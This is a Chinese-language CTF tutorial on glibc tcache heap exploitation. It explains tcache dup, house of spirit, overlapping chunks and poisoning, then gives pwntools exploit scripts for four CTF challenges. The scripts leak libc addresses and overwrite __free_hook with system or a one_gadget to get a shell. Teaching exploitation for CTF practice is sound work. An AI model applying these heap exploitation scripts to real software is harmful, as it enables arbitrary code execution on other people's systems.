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Tcache Attack总结

21 Oct, 2019 行业新闻

Tcache Attack总结

原创：treebacker合天智汇

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0x01 前言

  • heap攻击方式有很多，但是目前多数pwn还是停留在libc2.23这些上面，而在之后的libc版本中引入了一些新的机制，tcache就是其中一个。
  • tcache的引入，就目前来看，似乎是让我们熟悉的攻击方式使用的更便利,这是因为很多检查机制是在tcache处理之后才开始的，所以无形中敞开了安全的大门。

0x02 新外衣

  • 实现tcache机制引入的新结构 
```c   / We overlay this structure on the user-data portion of a chunk when      the chunk is stored in the per-thread cache.  /   typedef struct tcache_entry   {     struct tcache_entry *next;   } tcache_entry;
/ There is one of these for each thread, which contains the      per-thread cache (hence "tcache_perthread_struct").  Keeping      overall size low is mildly important.  Note that COUNTS and ENTRIES      are redundant (we could have just counted the linked list each      time), this is for performance reasons.  /   typedef struct tcache_perthread_struct   {     char counts[TCACHE_MAX_BINS];     tcache_entry *entries[TCACHE_MAX_BINS];   } tcache_perthread_struct;
static __thread tcache_perthread_struct *tcache = NULL;   ```
  •  这里需要注意的是，tcache是64个单向链表，每个链表最多7个节点(chunk)，chunk的大小在32bit上是12到512（8byte递增）；在64bits上是24到1024（16bytes递增）。 
  •  当某一个tcache链表满了7个，再有对应的chunk（不属于fastbin的）被free，就直接进入了unsortedbin中。 
  •  另外一个有趣的是，tcache_perthread_struct结构，一般是在heapbase+0x10（0x8）的位置。对应tcache的数目是char类型。 
0x03  旧人新酒
  •  Double Free ——tcache dup 
  •  原来的double free利用，我们需要构成a->b->a这种形式的free'd链，而在tcache中，由于不会检查top，直接可以构成a->a*这种free'd链。利用更方便。 
  •  Tcahe_house_of_spirit 
  •  与原来的house_of_spirit类似。free掉伪造的chunk，再次malloc获得可操作的地址。但是同样的，这里更简单，free的时候不会对size做前后堆块的安全检查，所以只需要size满足对齐就可以成功free掉伪造的chunk（其实就是一个地址）。 
  •  tcache_overlapping_chunks 
  •  可以说和house of spirit是一个原因，由于size的不安全检查，我们可以修改将被free的chunk的size改为一个较大的值（将别的chunk包含进来），再次分配就会得到一个包含了另一个chunk的大chunk。 
  •  同样的道理，也可以改写pre_size向前overlapping。 
  •  tcache_poisoning 
  •  这个着眼于tcache新的结构，这里的next指针其实相当于fastbin下的fd指针的作用（而且没有很多的检查），将已经在tcache链表中的chunk的fd改写到目的地址，就可以malloc合适的size得到控制权。 
  •  需注意，tcache dup和poisoning其实都要求可以use after free，也就是free并没有置null。 
0x04 实战检验
下载地址
  •  tcache dup——gundam 
  •  功能也是常见的 
v2-14c97bb1b9db1c1b6acb2b6582508df9_hd.p
 特别的是，这里有每个结构有两个chunk，且大小固定 ```c struct gundam{     int flag;     char* name;     char type[24]; }0x28 name = malloc(0x100) ``` 
  •  主要漏洞，两个chunk的free并不是同步的。其中name的free存在没有置NULL的问题。 
v2-6905c769f2362e4f***04be73909886e_hd.p
  •  利用方向 
  • 肯定是要想办法泄露libc
  • 之后用上面的这个可以double free。
  •  利用过程 
  • 这里name本身就是0x100，不在fastbin范围，所以如果我们把对应的tcache占满了，再次free就会进入unsortedbin。
 ```python     #fill  up the tcache     for i in range(9):         build('tree', '1')
 for i in range(9):     destory(i)
 ```
 
  • 再重新获得，当tcache用完了，就可以拿到unsorted bin的chunk，可以泄露bk指针。
 ```python     for i in range(7):         build('ffffffff', '1')
 build('llllllll', '1')                      #use the unsortedbin ,bk points to main-arena visit(7) p.recvuntil('llllllll') libc.address = u64(p.recvuntil('\x7f').ljust(8, '\x00')) - 0x3ebca0
 ```
 
v2-3aec78d36c563b2722aa2019eedf0a07_hd.p
  • 再利用tcache dup覆写__free_hook为system。
 ```python     success('system:{:#x}'.format(system_addr))     #double free dup     destory(1)     destory(0)     destory(0)
 blow() build(p64(libc.symbols['__free_hook']), '1')        #0 build('/bin/sh\x00', '1')                           #1 build(p64(system_addr), '1')                        #2 cover 0
 ```
 
  •  overlapping —— children_tcache 
  •  只提供三个功能，new，show，delete。 
  •  漏洞分析 
  • 会发现不存在溢出、free without null的情况。但是在写入内容时用了strcpy，可以造成\x00覆写size字段。
v2-e41874f0eced108dd33c67eb420ec268_hd.p
  • free前，填充了heap内容
v2-d6bb1d9f7db3588654ee98cf0ea4e3ac_hd.p
  •  利用方向 
  •  泄露libc。这个肯定是要想办法用unsortedbin来实现，比较好的思路是合并堆，释放到unsortedbin，且能使unsortedbin和未释放的堆重叠。由于存在null of byte。可以向前overlapping。注意将被更改size的请求大小一定是0x?f0。 
  •  这里有个坑，改写pre_size时存在'\x00'截断（strcpy），所以只能在两个大的chunk之间加一个跳板，用来clean后一个chunk的pre_size和设置size的null。 
 ```python     new(0x418, '0')     new(0x20, '1')     new(0x4f0, '2')     #off by null fake to 0x500     new(0x20, '3')
 delete(0)               #unsorted bin delete(1)               #tcache, filled with 0xda  #clean pre_size and set size low byte 0x00 for i in range(0, 9):     new(0x28-i, 'a'*(0x28-i))     delete(0)           #idx=0 at position 1  #set pre_size payload = 'a'*0x20 + p64(0x450) new(0x28, payload)      #idx=0 at position 1 delete(2)               #overlapping 0 unlink  to unsortbin                         #unsortedbin is 0x950 chunk0\1\2
 ```
 
  • 此时unwortdbin包含了率先分配的0、1、2三个chunk。而0chunk仍然在数组中可访问。
v2-f74341a900a330f3e943833cf4441c58_hd.p
  • 这样，我们再申请合适的大小，从unsorted bin切割，使得剩余的unsorted bin与第一个chunk重叠。打印chunk 0的信息，就可以拿到libc
 python     new(0x418, '1111')      #idx=1 at positon 0     show(0)                 #fd is same as the leaved unsorted bin
 
  • 接下来继续从unsortedbin申请，使得数组中有两个相同的指针，可以dup。
 ```python     #double free     new(0x28, '2222')           #idx2 same as idx0     delete(0)                   #     delete(2)                   # #use new(0x28, p64(libc.symbols['__free_hook']))     #idx0 new(0x28, '/sh\x00')                        #idx2 new(0x28, p64(libc.address + 0x4f322)) ```
  •  ciscn_2019_final_3 
  •  只有new和delete功能 
  •  漏洞分析，有一个double free 
v2-a0df4ad8ca499c66361cb63f0b8b5364_hd.p
  •  值得注意的是，唯一有输出的地方是，在new后会输出堆的地址 
v2-bfbcfcb982ac0f37c69cf56563641d6c_hd.p
  •  利用思路 
  • 由于堆的地址可知，要想泄露libc，一定是欺骗glibc，从libc上分配堆。也就是需要将libc地址放在tcache空闲链表的某节点的fd指针上。
  • 而libc地址，一般会和unsortedbin有关系，所以我们需要建立unsortedbin和tcache的关系，错位地让unsortedbin的指向main_arena的指针作为tcache的fd。
  • 那么又如何产生unsorted bin呢？只好合并，由于heap地址已知，且存在dup，我们完全可以改写chunk的size，产生overlapping合并。
  • 之后就是dup利用改写指针。
  •  据上面的思路，请求多个chunk，合并后可以进入unsortbin。 
  • 注意这里的第二个chunk，是为了unsorted bin和 tcache的错位。稍后会看到效果。
 python     chunk_0 = add(0, 0x78, '\x00'*0x78)      heapbase = chunk_0 - 0x11e70     add(1, 0x00, '')                #0x20     add(2, 0x78, '\x22'*0x78)     add(3, 0x78, '\x33'*0x78)     add(4, 0x78, '\x44'*0x78)     add(5, 0x78, '\x55'*0x78)     add(6, 0x78, '\x66'*0x78)     add(7, 0x78, '\x77'*0x78)     add(8, 0x78, '\x88'*0x78)     add(9, 0x78, '\x99'*0x78)     add(10, 0x78, '\xaa'*0x78)
 
  •  利用dup，构造overlapping。 
  • 注意，这里其实还有house of spirit，我们把chunk_0 - 0x10地址写入释放的chunk_10的fd指针。多次分配后，会获得chunk_0 - 0x10的一个块，从而改写chunk_0的size。产生overlapping。
 ```python     #tcache dup     #to fake chunk'0 size     remove(10)     remove(10)
 add(11, 0x78, p64(chunk_0 - 0x10))  #same as 11, fd points to idx0 add(12, 0x78, p64(chunk_0 - 0x10))  #same as 11  add(13, 0x78, p64(0) + p64(0x4a1))  #same as 0, fake chunk'0 size to 0x4a1  remove(0)                           #into unsorted bin, fd is libc remove(1)                           #into tcache0
 ```
 
  • 此时的unsortedbin和tcache状态。
v2-e07752aea16b714b9ffa4c75deaa0a45_hd.p
 让unsorted bin和tcache错位。进而获得libc的堆
 ```python     add(14,0x78, '\xee'*0x78)       #same as 1     add(15,0, '')                   #same as 0 from unsortedbin
 main_arena = add(16, 0,'') #libc
 ```
 ​        
v2-801e5dff874144fd42047237f196fcee_hd.p
 再次dup，覆写__free_hook，get shell。
 ```python     #double free     add(17, 0x38, p64(0xdeadbeef))     remove(17)     remove(17)
 add(18, 0x38, p64(libc.symbols['__free_hook'])) add(19, 0x38, '/bin/sh\x00') add(20, 0x38, p64(libc.symbols['system']))  remove(19)
 ```
 
  •  这个题目挺有意思，比较综合的考察了tcache。unsortbin包含libc地址和tcache的fd相配合，往往有意想不到的效果。 
  •  tcache poisoning (god-the-reum) 
  •  这个比较简单。漏洞很明显，存在double free，且可以重写fd指针。 
 利用free一个不在tcache范围的chunk，释放到unsorted bin中就可以获得libc。
 ```python     new(0x500)      #0     new(0x20)       #1     withdraw(0, 0x500)     show()     p.recvuntil('ballance ')
 libc.address = int(p.recvline().strip('\x0a'), 10) - 0x3ebca0 success('libc_address:{:#x}'.format(libc.address)) success('__free_hook:{:#x}'.format(libc.symbols['__free_hook'])) success('one_gadget:{:#x}'.format(libc.address + 0x4f322))  withdraw(1, 0x20)  develop(1, p64(libc.symbols['__free_hook']))         new(0x20)                                           #2 new(0x20)                                           #3 __free_hook develop(3, p64(libc.address + 0x4f322))  withdraw(2, 0x20)
 ```
 
0x05 简单总结
  • Tcache机制的引入，增加了堆分配的效率，但也引入了更多的不安全性，让之前很多的代码检查都不在起作用，可以很好的绕过。
  • 目前，该机制的考察较少，但是作为最新的glibc的管理机制，肯定是之后的出题的热点。有关该机制的更多学习，可以参见glibc新版本的源码。
  • 推荐实验：CTF-PWN系列汇总（PWN是CTF赛事中主流题型，主要考察参赛选手的逆向分析能力以及漏洞挖掘与Exploit利用编写能力。）点击：课程:CTF-PWN系列汇总(合天网安实验室)开始学习声明：笔者初衷用于分享与普及网络知识，若读者因此作出任何危害网络安全行为后果自负，与合天智汇及原作者无关！

																			



    
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